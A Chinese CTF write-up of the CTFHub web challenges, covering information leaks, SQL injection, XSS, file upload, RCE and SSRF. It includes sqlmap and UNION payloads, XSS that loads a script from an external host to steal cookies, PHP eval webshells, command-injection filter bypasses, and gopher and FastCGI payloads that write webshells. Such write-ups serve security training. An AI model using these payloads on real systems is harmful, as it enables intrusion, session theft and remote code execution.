当前位置: 首页 > news >正文

CTFHUB-技能树-WEB

CTFHUB-技能树

信息泄露

目录遍历

  1. 这关就是让你在目录下面找flag
  2. 每次开启不同的环境,flag也会不同

image-20250604155826668

image-20250604155842463

PHPINFO

1.直接打开 按住CTRL+F进行查找flag就能拿到

image-20250604160058491

备份文件下载

当开发人员在线上环境中对源代码进行了备份操作,并且将备份文件放在了 web 目录下,就会引起网站源码泄露。

网站源码

  1. 根据常见网站源码备份文件名和后缀排列组合 最后使用www.zip下载源码
  2. 复制里面的flag文件名称在网页打开即可得到。
image-20250604160644269

image-20250604160853377

image-20250604161159531

bak文件

  1. 直接在网站url后面输入index.php.bak 即可下载备份源码打开就有flag

image-20250604161724599

image-20250604161741012

vim缓存

当开发人员在线上环境中使用 vim 编辑器,在使用过程中会留下 vim 编辑器缓存,当vim异常退出时,缓存会一直留在服务器上,引起网站源码泄露。

  1. 在url后面加上/.index.php.swp才能下载备份文件打开即可得到flag

image-20250604163602470

image-20250604163552720

image-20250604163653648

.DS_Store

.DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。

  1. 尝试去下载.DS_Store文件
  2. 得到文件打开 文本里面的这段内容空字符去掉得到5793711c20ae593759d26408875aecce.txt
  3. 拿到浏览器访问 得到flag
image-20250604181553054

image-20250604182229820

image-20250604182143277

Git泄露

当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞

  1. 页面提示我们使用githack完成这一关 我们拿出工具 在url后面加上/.进行扫描

image-20250606091022571

image-20250606091035086

SVN泄露

这里有一些关于SVN的介绍:
Subversion,简称SVN,是一个开放源代码的版本控制系统,相对于的RCS、CVS,采用了分支管理系统,它的设计目标就是取代CVS。互联网上越来越多的控制服务从CVS转移到Subversion。

原文链接:https://blog.csdn.net/weixin_51563603/article/details/119791550

  1. 我们使用工具 dvcs-rippers安装使用

  2. 安装完之后使用./rip-svn.pl模块对靶场进行扫描 完成之后会在当前目录下生成一个.svn隐藏文件

    • 使用svn checkout后,项目目录下会生成隐藏的.svn文件夹(Linux上用ls命令看不到,要用ls -al命令)。
      svn1.6及以前版本会在项目的每个文件夹下都生成一个.svn文件夹,里面包含了所有文件的备份,文件名为 .svn/text-base/文件名.svn-base
      svn1.7及以后版本则只在项目根目录生成一个.svn文件夹,里面的pristine文件夹里包含了整个项目的所有文件备份

  3. 在pristine的f8目录下对文件进行查看得到flag

    • 不同环境pristine下的目录名可能会有些不同

image-20250606160127757

image-20250606160629244

image-20250606160915445

HG泄露

Mercurial 是一种轻量级分布式版本控制系统,使用 hginit的时候会生成.hg。
依旧是漏洞利用工具:dvcs-ripper

  1. 将泄露的文件下载到本地目录中

    ./rip-hg.pl http://challenge-33d452210e5f155c.sandbox.ctfhub.com:10800/.hg/
    

    这里如果报错了cannot find hg: No such file or directory at ./rip-hg.pl line 140.该错误发生在使用 dvcs-ripper 工具的 rip-hg.pl 脚本尝试下载 Mercurial(HG)仓库时,核心问题是 系统缺少 Mercurial(hg)命令行工具

    1. sudo apt update && sudo apt install mercurial -y  # 安装 Mercurial 工具
      
    2. hg --version  # 输出类似 "Mercurial Distributed SCM (version X.X)"
      
    3. 重新运行命运

  2. ls -la查看隐藏文件

  3. tree .hg 使用tree命令列出刚刚下载的.hg网站目录,发现last-message.txt

  4. 查看last-message.txt是否存在flag,发现历史版本add flag

  5. 发现历史版本可以使用正则表达式进行关键字查找(递归搜索包含“flag”这个词的文件),找到 flag_272271143.txt

  6. 使用curl命令访问可以文件检查源代码是否存在flag

  7. 拿到flag

image-20250606191650407 image-20250606183433997 image-20250606211242613 image-20250606211409459

image-20250606211425657

image-20250606211507409

密码口令

弱口令

  1. 还没丢yakit跑密码123456直接出来了

image-20250606211909868

默认口令

  1. 本题提示默认口令 打开网页看到是亿邮邮件网关cms
  2. 把亿邮邮件网关拿到网上搜索得到默认账户密码 输入报错可能不是这个了 又搜索了一下发有三个默认账户密码
  3. 挨个尝试在第二个拿到flag
image-20250606212241969 image-20250606212156416

image-20250606212619719

image-20250606212657394

image-20250606212731607

SQL注入

整形注入

  1. 随便输入看到数据可控并且成功和数据库进行交互 sqlmap启动

  2. 查看当前数据库

    python sqlmap.py -u http://challenge-37577e015ed83630.sandbox.ctfhub.com:10800/?id=1 --current-db
    
  3. 查看当前数据库下面的表名 看到flag 继续

    python sqlmap.py -u http://challenge-37577e015ed83630.sandbox.ctfhub.com:10800/?id=1 --tables -D sqli -v 2
    
  4. 查看列名 表名和列名是一样的

    python sqlmap.py -u http://challenge-37577e015ed83630.sandbox.ctfhub.com:10800/?id=1 --columns -D sqli -T flag
    
  5. 查看flag

    python sqlmap.py -u http://challenge-37577e015ed83630.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump
    

image-20250606214520588

image-20250606214710834

image-20250606214935377

image-20250606215025096 image-20250606215100026

字符型注入

  1. 跟上题一样url换一下就好了

报错型注入

  1. 跟上面一样直接跑
python sqlmap.py -u url -D sqli -T flag -C flag --dump
image-20250606221051370

布尔注入

  1. 跟上面一样直接跑
python sqlmap.py -u url -D sqli -T flag -C flag --dump

image-20250606221638112

时间盲注

  1. 跟上面一样直接跑
python sqlmap.py -u url -D sqli -T flag -C flag --dump

image-20250606223147615

MySql结构

  1. 跟上面一样直接跑 啊不对 有点不一样 但是思路是一样的

    python sqlmap.py -u http://challenge-ee88eaab2389cb16.sandbox.ctfhub.com:10800/?id=1 --current-db
    
    python sqlmap.py -u http://challenge-ee88eaab2389cb16.sandbox.ctfhub.com:10800/?id=1 --tables -D sqli
    
    python sqlmap.py -u http://challenge-ee88eaab2389cb16.sandbox.ctfhub.com:10800/?id=1 --columns -D sqli -T geksvwiinv
    
    python sqlmap.py -u http://challenge-ee88eaab2389cb16.sandbox.ctfhub.com:10800/?id=1  -D sqli -T geksvwiinv -C vnamhjwcgo --dump
    

    image-20250606224624227

image-20250606224635012 image-20250606224706678 image-20250606224742190

cookie注入

  1. 跟上面一样直接跑 只不过这次要进行抓包

  2. 写道sql目录下面 在cookie哪里打上*号丢到sqlmap跑 命令跟上面差不多

image-20250606231227675 image-20250606231246661 image-20250606231521381 image-20250606231552847 image-20250606231612647

UA注入

  1. 跟上面一样 抓包只不过这次将*打在user-agent后面 也可以进行手工注入更快

    //拿表名
    id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
    //拿字段名
    id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name ='lddcnnptlw'
    //拿flag
    id=-1 union select 1, iymgavozdx from sqli.lddcnnptlw

image-20250607001241988

image-20250607002906476

image-20250607003141092

Referer

  1. 这关和上关一样使用手工注入

  2. order by 判断出有两列进行注入

  3. 拿数据库名

    -1 union select 1,database();
    
  4. 拿表名

    -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
    
  5. 拿列名

    -1 union select 1,group_concat(column_name) from information_schema.columns where table_name ='fmxwxworfs'
    
  6. 拿flag

    -1 union select 1,nupszizkfg from sqli.fmxwxworfs
    

image-20250607150246714

image-20250607150432916

image-20250607151047470

image-20250607151416094

image-20250607151523427

空格过滤

  1. 本关对空格进行了过滤 我们这里使用sqlmap自带的脚本 绕过过滤

  2. 拿表名 这里直接猜数据库名为sqli了

    python sqlmap.py -u http://challenge-e379a9441beef722.sandbox.ctfhub.com:10800/?id=1 --columns -D sqli -T qoazixiwgx --tamper="space2hash.py"
    
  3. 拿列名

    python sqlmap.py -u http://challenge-e379a9441beef722.sandbox.ctfhub.com:10800/?id=1 --columns -D sqli -T qoazixiwgx --tamper="space2hash.py"
    
  4. 拿flag

    python sqlmap.py -u http://challenge-e379a9441beef722.sandbox.ctfhub.com:10800/?id=1  -D sqli -T qoazixiwgx -C xzknlatlpi --dump --tamper="space2hash.py"
    
image-20250607153833656 image-20250607154142871 image-20250607154149045 image-20250607154323254

XSS

反射性

  1. 在第一个输入框里面有输入我们的<script>alert(1)</script>成功跳出 这里有xss漏洞
  2. 这里我们使用平台创建项目 生成xss攻击代码 https://xssaq.com/
  3. 在第一个输入框输入Submit 然后把上面的url复制粘贴到第二个输入框点击Send
  4. 返回我们的平台 查看记录在cookie哪里即可拿到flag
http://challenge-c7d786d330040697.sandbox.ctfhub.com:10800/?name=%3CsCRiPt+sRC%3D%2F%2Fxs.pe%2Fn0L%3E%3C%2FsCrIpT%3E
image-20250607160850757

image-20250607161037542

image-20250607161120905

image-20250607160717206

image-20250607162446085

存储型

  1. 这题跟上面一样现在第一个输入框提交之后再把url提交 只不过不需要后面再跟参数了
  2. 存储型数据库是把恶意代码放进数据库里面 每次访问数据就能触发

image-20250607162159986

image-20250607162322988

image-20250607162405570

DOM反射

DOM 反射型 XSS 是 “你传入 URL 的恶意内容,被页面前端 JavaScript 读出来,插进页面没做任何处理,导致浏览器执行恶意代码。

  1. 在第一个输入框输入1能正常显示 1 再输入我的恶意xss代码进去发现只有';了·
  2. 打开f12查看发现我们的恶意代码写进标签里面了 所以没有显示 这里我们对对前面的标签进行闭合 //注释后面的参数
  3. 将构造的恶意代码提交 再将url 提交 在平台查看cookie拿到flag

image-20250607170833164

image-20250607170825852

image-20250607170732944

image-20250607171330541

DOM跳转

http://challenge-7398d7afe96182eb.sandbox.ctfhub.com:10800/?jumpto=javascript:$.getScript("SrC=//xs.pe/n0L.jpg")

image-20250607174513324

空格过滤

  1. 正常输入跳出弹窗

  2. 这里我们输入我们的恶意代码<sCRiPt sRC=//xs.pe/n0L></sCrIpT> 并没有弹窗 检测页面源代码发现对空格进行了过滤 这会导致 XSS 无法执行,因为标签和属性之间不能没有空格

  3. 使用 / 或换行符代替空格 HTML 中,属性之间的空格可以被特殊符号绕过

    <script/src=//xs.pe/n0L></script>
    
  4. 还可以使用 %09(Tab)、%0A(换行)或 %0B(垂直制表)替代空格 这里不演示了

  5. 再把url放到第二个输入框提交 在xss平台查看cookien拿到flag

image-20250607211719489

image-20250607211900958

image-20250607212038175

image-20250607212047884

image-20250607211633264

image-20250607212127344

关键字

  1. 这关输入对关键字进行了过滤
  2. 我们这里使用平台自带的大小写绕过 xss平台得到响应
  3. 将url复制放到下面发送 在平台上面得到cookie拿到flag
  4. 也可以使用双写绕过 具体不多说了大差不差

image-20250607222825702

image-20250607222816224

image-20250607223354285

image-20250607223440091

image-20250607223520202

image-20250607222600852

文件上传

无过滤

  1. 这里上传我们事先准备好的1.php文件 内容是一句话木马 <?php @eval($_POST["pass"]);?>
  2. 上传文件拿到文件路径 复制粘贴到url 后面访问 文件上传成功
  3. 复制url链接 打开蚁剑链接 在上级目录拿到flag

image-20250609111916745

image-20250609112204968

image-20250609111957826

image-20250609112133823

JS前端验证

  1. 这里上传我们的php文件显示不能上传
  2. 打开f12发现这里有前端上传逻辑校验 这里写在前端是不安全的
  3. 我们可以将我们的php文件后缀修改为jpg 上传抓包 将后缀改回php
  4. 访问路径 蚁剑链接 访问上层路径 拿到flag

image-20250609113300452

image-20250609113633129

image-20250609114512604

image-20250609114531707

image-20250609114814007

image-20250609114751156

.htaccess

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能

.htaccess文件的作用 就是我上传了一个.htaccess文件到服务器,那么服务器之后就会将特定格式的文件以php格式解析。

AddType application/x-httpd-php .jpg 就是把.jpg文件当作php文件解析。

  1. 准备一个文件写上 AddType application/x-httpd-php .jpg 将文件名修改为.htaccess 上传 不要在.htaccess前面加东西可能会识别不成功

  2. 将我们包含一句话木马的php文件的后缀改为1.jpg

  3. 上传 打开蚁剑链接 访问上层目录拿到flag

    注意:直接访问对应上传1.jpg的路径/upload/1.png),访问/upload/.htaccess 这个是解析木马文件的规则,直接访问会报错403

image-20250609120121314

image-20250609120437117

image-20250609115706820

image-20250609121044664

MIME绕过

  1. 跟上面一样包含一句话木马的文件修改为1.jpg
  2. 上传 抓包 将文件1.jpg改回1.php 注意下面的类型 为Content-Type: image/jpeg
  3. 上传成功 访问上传目录 蚁剑连接 访问上层目录 拿到flag

image-20250609130602678

image-20250609130725561

文件头判断

  1. 打开我们的一句话木马 前面加入文件头 (GIF89a8)gif文件默认的文件头
  2. 保存将文件后缀名改为jpg 上传 抓包
  3. 注意content-type进行修改为:image/gif 还有将名字改回1.php 上传
  4. 蚁剑连接 访问上层目录拿到flag

image-20250609131150622

image-20250609131506218

image-20250609131554088

image-20250609131723532

00截断

原理:将木马文件以.jpg格式上传,可以获得到一个对应.jpg文件img src="./upload/9720240216044425.jpg通过修改POST中URL路径使用%00截取,也就是说只有前面a.php被拼接到名称中,后面都被舍弃,在文件解析时候,依照被拼接的x.php进行文件解析,木马文件被成功解析

  1. 将我们包含一句话木马的文件上传 抓包
  2. 将POST中URL路径路径/var/www/html/upload/加上a.php%00 上传
  3. 访问我们的上传目录 upload/a.php
  4. 蚁剑连接 访问上层目录 拿到flag

image-20250609132640839

image-20250609132824121

image-20250609132926877

image-20250609133031894

双写绕过

  1. 跟上面一样将包含一句话木马的后缀修改为jpg上传
  2. 修改后缀 为pphphp这刚好过滤完后拼接成php
  3. 访问我们的上传目录 upload/a.php
  4. 蚁剑连接 访问上层目录 拿到flag

image-20250609133537684

image-20250609133603238

image-20250609133624103

image-20250609133720862

RCE

eval()

  1. eval()函数执行传入的 PHP 代码,相当于给你在服务器上“写 PHP”的权限。你可以利用它做任意操作,比如读文件、写文件、执行系统命令(如配合system()shell_exec()

  2. 通过url传参的方式访问 拿到flag

    http://challenge-a6aba294f40b89f2.sandbox.ctfhub.com:10800/?cmd=system(cat /fla*);
    

image-20250609170234423

文件包含

  1. 根据代码 这里有文件包含漏洞 点击shell 里面有一句话木马<?php eval($_REQUEST['ctfhub']);?>从请求中获取 ctfhub 参数,然后把它当作 PHP 代码执行

    • $_REQUEST['ctfhub']:表示从 GET / POST / COOKIE 中读取名为 ctfhub 的参数;

    • eval():是 PHP 中一个非常危险的函数,用于执行一段PHP 代码字符串

  2. ?file=xxx时,会执行include $_GET['file'] 如果包含 "flag" 字符,就提示 “Hacker!!!”,阻止包含

  3. file=shell.txt → 满足 !strpos(file, 'flag'),不包含“flag” shell.txt就是上面的一句话木马 所以等同于执行eval(执行的代码)

    http://challenge-f307a3d9e66528d2.sandbox.ctfhub.com:10800/?file=shell.txt&ctfhub=system(%27cat%20/fla*%27);
    
  4. 拿到flag

image-20250609172330593

image-20250609173005164

php://input

  1. 根据代码提示 substr($_GET["file"], 0, 6) 表示取字符串 $file 从第 0 位开始的前 6 个字符也就 php://
  2. 如果是php://那就进入include
  3. 关于php://的伪协议想到两种 php://filterphp://inputphp://filter用于读取源码php://input用于执行php代码
  4. 而执行php://input伪协议条件是allow_url_include是On 代码给了我们phpinfo 查看也是on 这里我们选择利用它
  5. 这关使用get传参 使用构造url为?file=php://input 协议 post传入参数
  6. 抓包输入构造的值 在post参数为 拿到flag

image-20250609190007891

image-20250609190121060

image-20250609185718891

image-20250609190240713

读取代码源

  1. 这关跟上关一样的substr($_GET["file"], 0, 6) 表示取字符串 $file 从第 0 位开始的前 6 个字符也就 php://
  2. 如果是php://那就进入include
  3. php://filter用于读取源码 这里构造file值php://filter/read=convert.base64-encode/resource=[文件名]
  4. 根据页面提示flag 在/flag下面
  5. 抓包传入构造好的值参数 拿到返回包 进行base64解码 拿到flag

image-20250609191203189

image-20250609191234582

远程文件包含

  1. strpos($a, $b) 找 `$b` 在 `$a` 中的位置  这里对file传入的值如果包含flag就提示Hacker!!! 不包含就进入include
    
  2. 这里也是使用php://input伪协议

  3. 步骤跟上面一样

image-20250609193153690

image-20250609193218409

命令注入

这是一个在线测试网络延迟的平台,路由器中经常会见到。无任何安全措施,尝试获取 flag

  1. 直接拼接了用户输入到系统命令中,没有任何过滤处理

  2. 直接在输入框输入127.0.0.1;ls得到显示的文件

  3. 在对文件进行查看 127.0.0.1;cat 200511328524360.php

    cat文件的时候因为用了注释符不会显示在页面里面,但是可以读源码

image-20250609195851223 image-20250609200014893

cat过滤

  1. 这题跟上题一样 只不过对cat进行过滤了

  2. 拿到flag文件进行查看 但是这里cat过滤了我们的换其他方法

  3. 我们这里使用转义符号进行绕过 127.0.0.1;ca\t flag_23389292917835.php 右键查看源代码拿到flag

    **如何通不同的方式读取flag****通配符**
    flag=fl*
    cat fl*
    cat ?la* //?代表占位符**转义符号**
    ca\t /fl\ag
    cat fl''ag**使用空变量∗ 和 \*和∗和@,x , x,x,{x}绕过**
    ca$*t fl$*ag
    ca$@t fl$@ag //$@是linux里面声明变量 但是$@没有赋值 所以为空 因此干扰到了flag的匹配
    ca$5t f$5lag
    ca${2}t f${2}lag 等....
    

image-20250609201049366

image-20250609201618733

image-20250609201708466

过滤空格

  1. 这题步骤跟上面一样只不过过滤了空格

    空格可以用以下字符串代替:
    < 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等空格可以用以下字符串代替:<!--?php // ctfhub{d9748570d5fd00ee9a3506fc}
    )
    </pre-->
    

    image-20250609202814337

    image-20250609202838343

过滤分隔符

  1. 这次过滤了目录分割符 / 但是但是 这里也用不上分割符

  2. 127.0.0.1;cd flag_is_here;cat flag_179353253417801.php

image-20250609204230984

image-20250609204403200

image-20250609204523396

image-20250609204536211

过滤运算符

  1. 把’&’过滤了,但是我们还能用’;’

    在 Bash(Linux 命令行)中,命令分隔符 ; 的作用是“顺序执行多个命令”
    ping -c 4 127.0.0.1; ls
    会先执行 ping,然后执行 ls。<!--?php // ctfhub{456e74ff384e4ad7c31f1a0b}
    )
    </pre-->
    
  2. 过程跟上面差不多

image-20250609205153809

image-20250609205329077

综合过滤练习

  1. ?ip=1%0D%0Acd${IFS}fl$*ag_is_here%0Als 拿到名称

    1. %0D%0A 是 URL 编码中的回车符 (CR) 和换行符 (LF),通常用于在某些环境中注入换行符。

    2. ${IFS} 是环境变量 IFS(Internal Field Separator)的值,通常包含空格、制表符和换行符。攻击者利用这一点来插入空格或其他分隔符,从而执行多个命令。

    3. fl$*ag_is_here 是尝试在执行命令时插入 flag_is_here 字符串,以便显示或执行其他攻击命令。

      注意不是在ip的空格里面写,因为在url里面会二次编码

    image-20250609212324742

image-20250609212407700

友情参考,谢谢大佬:CTFHub之Web篇之Web实战之RCE(更新中~~)

SSRF

内网访问

  1. 根据页面提示尝试访问位于127.0.0.1的flag.php吧
  2. 进去之后看到url我们直接尝试访问内网?url=http://127.0.0.1/flag.php 拿到flag

image-20250610084456175

ctfhub{fd5ecdae52441f6133d08939}

伪协议读取文件

  1. 这关告诉我们要用伪协议进行读取文件

    • 我们看url的伪协议有哪些

      类型
      file:///
      dict://
      sftp://
      ldap://
      tftp://
      gopher://
      
  2. 这里我们使用file://进行读取 ?url=file:///var/www/html/flag.php

  3. 右键查看源码即可拿到falg

    image-20250610090132568

image-20250610090214034

端口扫描

  1. 这关使用dict协议参数后面加上dict://127.0.0.1:端口
  2. 使用yakit抓包 将端口插入字典 根据提示端口范围在8000-9000 这里生成fuzz标签插入到端口号这里
  3. 进行爆破 然后查看响应大小发现8833不一样
  4. 返回浏览器访问8833端口拿到flag

image-20250610101229690

image-20250610101341458

image-20250610101417693

Gopher协议利用

POST请求

这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年

  1. 这里直接访问127.0.0.1/flag.php 在页面下面跳出一个输入框 并且查看源码有key

  2. 将key输入到输入框里面 回车跳转到了flag.php页面

  3. file协议读取index.php 和flag.php的页面源码 成功看到了页面源码

    ?url=file:///var/www/html/index.php
    ?url=file:///var/www/html/flag.php
    
  4. 尝试使用 Gopher 协议向服务器发送 POST 包 构造 Gopher协议的 POST请求 //每个人的key不一样注意替换

    POST /flag.php HTTP/1.1
    Host: 127.0.0.1:80
    Content-Length: 36
    Content-Type: application/x-www-form-urlencoded
    key=3747a59bc540faca823cf525ca78b369  
    
  5. 在使用 Gopher协议发送 POST请求包时,HostContent-TypeContent-Length请求头是必不可少的,但在 GET请求中可以没有。 key值为自己所获得的。

    • 在向服务器发送请求时,首先浏览器会进行一次 URL解码,其次服务器收到请求后,在执行curl功能时,进行第二次 URL解码

    • 所以我们需要对构造的请求包进行两次 URL编码

    • 第一次编码:

    • 注意:这里对POST进行URL编码的时候不要在行与行之间添加空格

      原因:在 HTTP POST 请求中,请求头(Headers)和请求体(Body)之间的分隔 只能是两个连续的换行符(\r\n\r\n),中间不能夹带任何空格或字符

      Content-Type: application/x-www-form-urlencoded
      [空格]
      key=3747a59bc540faca823cf525ca78b369
      这中间多了 一个空格行,所以会导致服务端无法识别 key,从而拿不到 flag。
      请求头结束后直接换行,紧跟请求体,不要加空格或额外换行
      
    • image-20250610180125009

    • POST%20%2Fflag.php%20HTTP%2F1.1%0AHost%3A%20127.0.0.1%3A80%0AContent-Length%3A%2036%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0Akey%3D3747a59bc540faca823cf525ca78b369%20%20
      
    • 在第一次编码后的数据中,将%0A全部替换为%0D%0A。因为 Gopher协议包含的请求数据包中,可能包含有=&等特殊字符,避免与服务器解析传入的参数键值对混淆,所以对数据包进行 URL编码,这样服务端会把%后的字节当做普通字节

    • image-20250610113205513
    • POST%20%2Fflag.php%20HTTP%2F1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Length%3A%2036%0D%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0D%0Akey%3D3747a59bc540faca823cf525ca78b369%20%20
      
    • 第二次编码:

    • image-20250610113332973
    • POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250Akey%253D3747a59bc540faca823cf525ca78b369%2520%2520
      
    • 因为flag.php中的$_SERVER["REMOTE_ADDR"]无法绕过,只能通过index.php页面中的curl功能向目标发送 POST请求,构造如下Payload:

    • 80是默认http端口

      _POST 是一个占位符,用于指示这是一个POST请求。在实际使用中,这个占位符会被具体的请求路径所替代

      view-source:http://challenge-c5e979e53280dfd9.sandbox.ctfhub.com:10800/?url=gopher://127.0.0.1:80/_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250Akey%253D3747a59bc540faca823cf525ca78b369%2520%2520
      
image-20250610112130646

image-20250610110335608

image-20250610110452389 image-20250610110438528

image-20250610123736649

上传文件

  1. 这关跟上关一样 尝试着访问 127.0.0.1 出现一个文件上传页面

  2. 目录扫描完有index.php 和flag.php 尝试用file:///读取flag.php和index.php的源码

  3. 打开f12 在这里右键 以html格式修改 添加一个提交按钮

  4. 然后选择我们带非空的文件提交 抓包 将host 头改为127.0.0.1 然后这里使用脚本将我们的请求包转化成符合gopher协议格式的payload

    import urllib.parse
    payload =\
    """POST /flag.php HTTP/1.1
    Host: 127.0.0.1
    Cache-Control: max-age=0
    Origin: http://challenge-6f8385f6807d829d.sandbox.ctfhub.com:10800
    Accept-Language: zh-CN,zh;q=0.9
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    Accept-Encoding: gzip, deflate
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOz1hloWH0bz6SmyZ
    Referer: http://challenge-6f8385f6807d829d.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php
    Content-Length: 321------WebKitFormBoundaryOz1hloWH0bz6SmyZ
    Content-Disposition: form-data; name="file"; filename="2.php"
    Content-Type: application/octet-stream<?php eval($_POST["pass"]);?>
    ------WebKitFormBoundaryOz1hloWH0bz6SmyZ
    Content-Disposition: form-data; name="submit"------WebKitFormBoundaryOz1hloWH0bz6SmyZ--
    """#注意后面一定要有回车,回车结尾表示http请求结束
    tmp = urllib.parse.quote(payload)
    new = tmp.replace('%0A','%0D%0A')
    result = 'gopher://127.0.0.1:80/'+'_'+new
    result = urllib.parse.quote(result)
    print(result)       # 这里因为是GET请求所以要进行两次url编码
    

    payload 生成

    gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250ACache-Control%253A%2520max-age%253D0%250D%250AOrigin%253A%2520http%253A//challenge-6f8385f6807d829d.sandbox.ctfhub.com%253A10800%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.9%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%2529%2520AppleWebKit/537.36%2520%2528KHTML%252C%2520like%2520Gecko%2529%2520Chrome/137.0.0.0%2520Safari/537.36%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252Cimage/apng%252C%252A/%252A%253Bq%253D0.8%252Capplication/signed-exchange%253Bv%253Db3%253Bq%253D0.7%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundaryOz1hloWH0bz6SmyZ%250D%250AReferer%253A%2520http%253A//challenge-6f8385f6807d829d.sandbox.ctfhub.com%253A10800/%253Furl%253Dfile%253A///var/www/html/flag.php%250D%250AContent-Length%253A%2520321%250D%250A%250D%250A------WebKitFormBoundaryOz1hloWH0bz6SmyZ%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25222.php%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A%250D%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522pass%2522%255D%2529%253B%253F%253E%250D%250A------WebKitFormBoundaryOz1hloWH0bz6SmyZ%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A------WebKitFormBoundaryOz1hloWH0bz6SmyZ--%250D%250A
    
  5. 然后直接把gopher协议的payload发送过去 拿到flag

    http://challenge-6f8385f6807d829d.sandbox.ctfhub.com:10800/?url=gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250ACache-Control%253A%2520max-age%253D0%250D%250AOrigin%253A%2520http%253A//challenge-6f8385f6807d829d.sandbox.ctfhub.com%253A10800%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.9%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%2529%2520AppleWebKit/537.36%2520%2528KHTML%252C%2520like%2520Gecko%2529%2520Chrome/137.0.0.0%2520Safari/537.36%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252Cimage/apng%252C%252A/%252A%253Bq%253D0.8%252Capplication/signed-exchange%253Bv%253Db3%253Bq%253D0.7%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundaryOz1hloWH0bz6SmyZ%250D%250AReferer%253A%2520http%253A//challenge-6f8385f6807d829d.sandbox.ctfhub.com%253A10800/%253Furl%253Dfile%253A///var/www/html/flag.php%250D%250AContent-Length%253A%2520321%250D%250A%250D%250A------WebKitFormBoundaryOz1hloWH0bz6SmyZ%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25222.php%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A%250D%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522pass%2522%255D%2529%253B%253F%253E%250D%250A------WebKitFormBoundaryOz1hloWH0bz6SmyZ%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A------WebKitFormBoundaryOz1hloWH0bz6SmyZ--%250D%250A
    

image-20250610194455062

image-20250610194738265 image-20250610194752565 image-20250610195041449 image-20250610200153415

image-20250610200743088

FastCGI

题目给了我们附录了解这个协议详情查看Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写

  1. 打开gopherus生成工具生成攻击FastCGI的payload

    利用条件:

    • libcurl版本>=7.45.0
    • PHP-FPM监听端口
    • PHP-FPM版本 >= 5.3.3
    • 知道服务器上任意一个php文件的绝对路径
    python gopherus.py --exploit fastcgi
    /var/www/html/index.php                # 这里输入的是一个已知存在的php文件 编码时不要有空格切记
    echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4 | base64 -d > /var/www/html/shell.php 
    #这里解码为一句话木马<?php eval($_POST[whoami]);?>
    
